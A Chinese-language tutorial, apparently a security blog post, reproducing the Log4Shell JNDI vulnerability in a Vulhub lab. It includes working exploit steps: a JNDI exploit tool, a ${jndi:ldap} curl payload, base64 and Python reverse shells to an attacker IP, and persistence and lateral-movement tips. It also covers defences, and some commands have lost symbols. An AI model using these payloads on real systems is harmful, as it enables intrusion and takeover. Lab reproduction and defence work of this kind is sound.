1. 项目概述一次对Log4j2远程代码执行漏洞的深度复现与剖析最近在整理内部安全演练的案例库Log4j2这个“核弹级”漏洞CVE-2021-44228是绕不开的经典。虽然距离其爆发已有一段时间但它在应用安全史上的地位以及其背后所揭示的供应链安全、开源组件治理等深层问题至今仍值得我们反复咀嚼。这次我们不谈泛泛的原理而是从一个安全研究或渗透测试工程师的视角完整地走一遍从环境搭建、漏洞触发到最终获取服务器权限getshell的全过程。这不仅仅是为了复现而复现更重要的是理解攻击链的每一个环节思考在真实攻防对抗中可能遇到的变数以及作为防御方该如何构建有效的检测与防护策略。无论你是想巩固漏洞原理的初学者还是希望深化实战理解的安全从业者这篇手记都能提供一份详尽的“作战地图”。2. 漏洞核心原理与攻击链拆解2.1 Log4j2为何成为“核弹”JNDI注入的威力要理解Log4j2远程代码执行RCE漏洞核心在于两个关键技术点Log4j2的日志消息解析机制和Java的JNDIJava Naming and Directory Interface服务。首先Log4j2作为一个功能强大的日志框架支持在日志消息中通过${}语法执行“查找”Lookup操作。例如${java:version}可以输出Java版本。这本是为了方便日志内容动态化设计的特性。问题的关键在于它支持一种叫做JndiLookup的查找方式。攻击者可以构造一个特殊的日志字符串如${jndi:ldap://attacker.com/evil}。当Log4j2版本2.0-beta9至2.14.1在处理包含此类字符串的日志时会尝试通过JNDI去连接attacker.com这个攻击者控制的LDAP服务。其次JNDI是Java提供的一个统一接口用于访问各种命名和目录服务如LDAP、RMI、DNS等。在早期版本的Java中具体行为与JDK版本密切相关当客户端通过JNDI请求一个远程对象时如果该对象是一个“引用”ReferenceJava会尝试从Reference中指定的URL地址去下载并实例化对应的类文件。这就为远程代码执行打开了大门。攻击链可以简化为用户输入如HTTP请求头中的User-Agent → 被应用记录到日志使用有漏洞的Log4j2 → Log4j2解析${jndi:ldap://...}→ 触发JNDI查找 → 连接攻击者LDAP服务器 → LDAP服务器返回一个恶意的Java类引用Reference → 受害服务器从攻击者HTTP服务下载恶意类并执行其静态代码块 → 实现远程代码执行。注意漏洞的利用成功与否高度依赖于目标服务器的Java环境版本。在后续的JDK版本中如8u191、11.0.1之后默认限制了从远程地址加载类增加了利用难度但并非完全免疫通过一些绕过手段依然可能成功。2.2 与其他RCE漏洞的横向对比在复现之前理解Log4j2的特殊性有助于我们把握其影响范围。对比几个知名的RCE漏洞Struts2-045 (CVE-2017-5638) 基于Jakarta Multipart解析器的缺陷攻击者可在上传文件的Content-Type头中注入OGNL表达式执行命令。其影响范围局限于使用特定版本Struts2且启用了文件上传功能的Web应用。永恒之蓝 (MS17-010) 利用Windows SMB协议中的缓冲区溢出漏洞实现无需用户交互的远程代码执行和蠕虫式传播。影响的是操作系统层。Log4j2 (CVE-2021-44228) 最大的不同在于其“供应链”和“默认开启”特性。它不是一个应用业务逻辑漏洞而是一个被广泛使用的基础日志组件的漏洞。任何使用了受影响版本Log4j2的Java应用无论业务功能多么简单只要记录了攻击者可控的字符串可能是URL参数、请求头、表单数据、甚至用户名就可能被攻击。这使得它的攻击面呈指数级扩大从Web应用到后端服务、大数据组件乃至嵌入式设备无处不在。3. 复现环境搭建与核心工具准备3.1 靶场环境选择Vulhub的便捷性为了快速、安全地复现漏洞我们选择使用Docker环境。这里推荐Vulhub它是一个开源的漏洞靶场集成项目提供了大量预构建的漏洞环境一键启动非常适合学习和研究。系统准备 一台安装有Docker和Docker Compose的Linux主机如Ubuntu 20.04。确保网络通畅可以拉取Docker镜像。部署Vulhub# 1. 克隆Vulhub仓库 git clone https://github.com/vulhub/vulhub.git cd vulhub # 2. 进入Log4j2漏洞目录 cd log4j/CVE-2021-44228 # 3. 启动靶场环境 docker-compose up -d执行后Docker会拉取镜像并启动一个包含漏洞的Spring Boot Web应用通常监听在8080端口。你可以通过docker-compose logs查看启动日志确认服务已正常运行。3.2 攻击机环境与工具链配置攻击机需要准备三样核心工具模拟一个完整的攻击链JNDI注入利用工具 我们使用JNDI-Injection-Exploit。这是一个集成的利用工具可以一键启动恶意RMI/LDAP服务并生成对应的利用Payload。# 下载工具 git clone https://github.com/welk1n/JNDI-Injection-Exploit.git cd JNDI-Injection-Exploit # 编译需要Maven mvn clean package -DskipTests编译后在target目录下会生成可执行的JAR包。Payload生成与监听 我们需要一个能执行任意命令的Payload。这里使用经典的Reverse Shell反弹Shell。首先在攻击机上用ncNetcat监听一个端口nc -lvnp 9999这条命令会让nc在9999端口监听等待目标服务器反向连接回来。构造恶意Java类 JNDI利用的核心是让目标服务器加载并执行我们编写的恶意类。这个类的代码很简单就是在静态代码块中执行系统命令。我们可以用JNDI-Injection-Exploit工具内置的功能来动态生成它支持通过-c参数指定要执行的命令。例如我们要让目标服务器执行bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzk5OTkgMD4mMQ}|{base64,-d}|{bash,-i}这样的命令这是一个经过Base64编码的反弹Shell到192.168.1.100:9999的命令。3.3 关键参数与版本适配性考量在启动利用工具前必须明确几个关键参数它们直接决定利用能否成功攻击机IP 你的攻击机IP地址用于搭建恶意的LDAP/RMI服务。HTTP服务端口 用于托管恶意类文件的Web服务端口工具会内置启动。LDAP/RMI服务端口 用于接收目标JNDI请求的端口。JDK版本 这是最关键的变量。需要根据目标服务器的JDK版本选择不同的利用方式JDK 6u132, 7u122, 8u113 之前 可以直接利用。JDK 高版本 (如 8u191) 默认情况下com.sun.jndi.ldap.object.trustURLCodebase已设置为false禁止从远程URL加载类。此时可能需要结合其他漏洞如本地类路径中的可利用类进行绕过或者目标服务器因为其他配置错误降低了安全限制。我们的复现环境Vulhub通常使用较低版本的JDK来确保漏洞可触发。4. 完整攻击流程实操与演示4.1 步骤一启动恶意JNDI服务在攻击机上进入JNDI-Injection-Exploit目录执行以下命令java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzk5OTkgMD4mMQ}|{base64,-d}|{bash,-i}” -A 192.168.1.100命令解释-C 指定要执行的命令。这里我们放入了一个Base64编码的反弹Shell命令解码后是bash -i /dev/tcp/192.168.1.100/9999 01意思是让目标服务器的bash连接到我们攻击机的9999端口。-A 指定攻击机即本机的IP地址工具会用这个IP启动LDAP/RMI和HTTP服务。执行后工具会输出类似如下信息[] LDAP Server Start Listening on 1389… [] HTTP Server Start Listening on 8888… [] RMI Server Start Listening on 1099… [] Payload ${jndi:ldap://192.168.1.100:1389/abc} [] Payload ${jndi:rmi://192.168.1.100:1099/abc}它为我们生成了两个可用的Payload并启动了相应的服务。我们选择LDAP的Payload进行演示。4.2 步骤二触发漏洞与发送Payload我们的靶场是一个简单的Web应用它可能会将请求头信息记录到日志。因此我们构造一个HTTP请求将Payload放入任何一个可能被记录的请求头中例如User-Agent、X-Api-Version或Cookie。使用curl命令发送请求curl http://192.168.1.200:8080/ -H ‘User-Agent: ${jndi:ldap://192.168.1.100:1389/abc}’或者你也可以使用Burp Suite等代理工具手动构造这个请求这样更容易观察和修改。当这个请求发送到靶场服务器192.168.1.200:8080时应用处理请求Log4j2在记录User-Agent这个头部的值时会解析其中的${}表达式从而触发JNDI查找。4.3 步骤三观察攻击链与获取Shell观察JNDI工具终端 发送请求后立即查看运行JNDI-Injection-Exploit的终端。如果成功你会看到类似[] Received LDAP Query: …和[] Send LDAP Resource Result的日志表明靶机连接了你的LDAP服务并且LDAP服务指示靶机去你的HTTP服务8888端口下载恶意类文件。观察NC监听终端 几乎同时查看之前运行nc -lvnp 9999的终端。如果一切顺利你会看到一个新的连接建立并出现一个命令行提示符例如bash-4.2$。这表示你已经成功获取了目标服务器的反向Shell可以执行id、whoami、pwd等命令验证权限。至此一次完整的从漏洞触发到getshell的攻击流程就完成了。你已经在目标服务器上拥有了命令执行权限。5. 深度利用、权限维持与防御绕过思考5.1 从命令执行到权限维持拿到一个反向Shell通常只是第一步。在真实的渗透测试中我们还需要考虑信息收集 使用uname -a查看系统信息cat /etc/passwd查看用户ifconfig或ip addr查看网络ps aux查看进程寻找数据库、中间件等敏感信息。权限提升 检查当前用户权限sudo -l寻找SUID/GUID文件利用内核漏洞或服务配置错误进行提权。权限维持 上传持久化后门如创建计划任务crontab、写入SSH密钥、部署Webshell或内存马等。例如可以尝试写入一个简单的PHP Webshell到Web目录。内网横向移动 如果目标服务器处于内网可以利用它作为跳板进一步探测和攻击内网其他主机。5.2 针对高版本JDK的绕过技巧在JDK高版本默认防护下直接使用远程Reference可能失败。历史上安全研究人员提出了多种绕过思路利用本地ClassPath中的类 这是最有效的绕过方式之一。寻找目标应用ClassPath中存在的、可被利用的类如org.apache.naming.factory.BeanFactory结合EL表达式处理器。通过JNDI注入触发目标去查找并实例化这些本地类利用这些类的某些方法如setter、构造函数间接执行代码。这需要深入研究目标应用的依赖库。利用其他可信任的协议或上下文 尝试使用ldapsLDAP over SSL、rmi、dns、iiop等不同的JNDI协议有时安全策略的配置可能不均衡。利用二次反序列化 某些JNDI服务返回的对象可能本身是一个可序列化的对象在其反序列化过程中触发Gadget链。这依赖于应用中存在可用的反序列化利用链。这些绕过技术复杂度高且高度依赖目标环境。它们说明了为什么单纯升级JDK并非万全之策必须结合其他防护措施。5.3 防御视角下的加固措施作为防御方面对此类漏洞应有层次化的应对策略紧急缓解升级Log4j2 将Log4j2升级到2.15.0及以上版本最新稳定版。这是根本解决方案。设置系统属性 如果无法立即升级在Java启动参数中添加-Dlog4j2.formatMsgNoLookupstrueLog4j 2.10及以上或移除JndiLookup类。WAF/防火墙规则 在入口处拦截包含${jndi:、${ldap:、${rmi:等模式的请求。长期加固供应链安全扫描 使用SCA软件成分分析工具持续监控项目中第三方组件的漏洞。最小权限原则 运行Java应用的服务账户应遵循最小权限原则避免使用root等高权限账户。网络隔离 严格限制服务器对外发起网络连接的能力特别是非常用端口如LDAP的389/636RMI的1099等可以阻断大部分JNDI攻击的回连。升级JDK 尽管不能完全防御但使用最新版本的JDK如8u321, 11.0.14, 17.0.2等能有效提高利用门槛默认禁用了远程类加载。监测与响应日志监控 监控应用日志中是否出现异常的JNDI、LDAP连接记录。主机层监控 监控服务器是否异常向外发起网络连接或执行非常见命令。6. 复现过程中的常见问题与排查实录在复现过程中你可能会遇到各种问题。以下是一些常见情况及排查思路问题现象可能原因排查步骤与解决方案发送Payload后JNDI工具无任何连接日志。1. 靶场服务未成功启动或无法访问。2. 靶场应用未记录触发Payload的输入点。3. 网络不通或防火墙拦截。1.docker-compose ps确认容器状态docker-compose logs查看应用日志确认服务正常且无报错。2. 尝试将Payload放入不同的HTTP请求部位URL参数、所有头部、Body并用tail -f查看靶场容器内的应用日志确认Payload是否被打印。3. 从靶场容器内ping或curl攻击机IP测试连通性。JNDI工具收到LDAP查询但NC未收到反弹Shell。1. 命令执行失败路径错误、权限不足。2. 反弹Shell命令编码或格式错误。3. 目标服务器出网被限制无法连接攻击机9999端口。4. 目标JDK版本较高成功加载类但命令执行被安全策略限制。1. 在JNDI工具中尝试执行更简单的命令如touch /tmp/test123然后在靶机上检查文件是否创建。2. 检查反弹Shell命令的Base64编码是否正确确保解码后是有效的bash命令。可在本地先测试命令有效性。3. 在攻击机用tcpdump或nc -lvnp 9999的详细输出查看是否有TCP SYN包到来。尝试让目标执行curl http://攻击机IP:8888看能否访问HTTP服务以验证出网情况。4. 查看靶场容器的JDK版本java -version。如果版本高尝试使用针对高版本JDK的绕过Payload或寻找其他利用链。拿到Shell后立即断开或不稳定。1. 反弹Shell的进程被终止。2. 网络连接不稳定。1. 尝试使用更稳定的反弹Shell方式如用python、perl或socat生成TTY的完整交互Shell。例如Pythonpython3 -c ‘import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.1.100”,9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([“/bin/bash”,”-i”]);’。2. 使用screen或tmux在攻击机运行NC监听避免终端关闭导致监听停止。Vulhub环境启动失败。1. Docker或Docker Compose未安装。2. 端口冲突。3. 镜像拉取失败。1. 确认Docker服务运行正常systemctl status docker并正确安装docker-compose。2. 检查8080端口是否被占用可修改docker-compose.yml中的端口映射。3. 尝试手动拉取基础镜像docker pull vulhub/…或配置国内镜像加速器。实操心得复现这类漏洞耐心和细致的观察日志是关键。攻击链上的每一个环节应用日志、JNDI工具日志、NC监听日志都提供了重要的状态信息。不要只盯着最终是否拿到Shell理解中间每一步的成功与失败对于真正掌握漏洞原理和排查问题更有帮助。例如看到JNDI工具有“Received LDAP Query”日志但无后续很可能就是目标JDK版本较高拒绝了远程类加载。